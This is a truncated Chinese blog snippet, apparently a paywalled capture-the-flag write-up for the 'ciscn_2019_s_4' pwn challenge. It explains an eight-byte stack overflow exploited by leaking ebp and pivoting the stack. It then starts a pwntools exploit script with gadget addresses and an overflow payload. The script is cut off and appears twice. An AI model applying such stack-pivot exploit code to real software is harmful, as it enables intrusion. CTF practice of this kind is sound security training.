main函数，存在八个字节溢出，栈迁移，第一次泄露ebp，得到栈上buf地址，迁移到buf即可。
from pwn import *
io=remote('node3.buuoj.cn',28060)
leave=0x8048562
sys_plt=0x8048400
pl1='a'*0x24+'bbbb'
io.</【pwn】 ciscn_2019_s_4
最新推荐文章于 2023-02-17 22:15:36 发布
main函数，存在八个字节溢出，栈迁移，第一次泄露ebp，得到栈上buf地址，迁移到buf即可。from pwn import *io=remote('node3.buuoj.cn',28060)leave=0x8048562sys_plt=0x8048400pl1='a'*0x24+'bbbb'io.send(pl1)io.recvuntil('bbbb')ebp=u32(...
最低0.47元/天 解锁文章
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
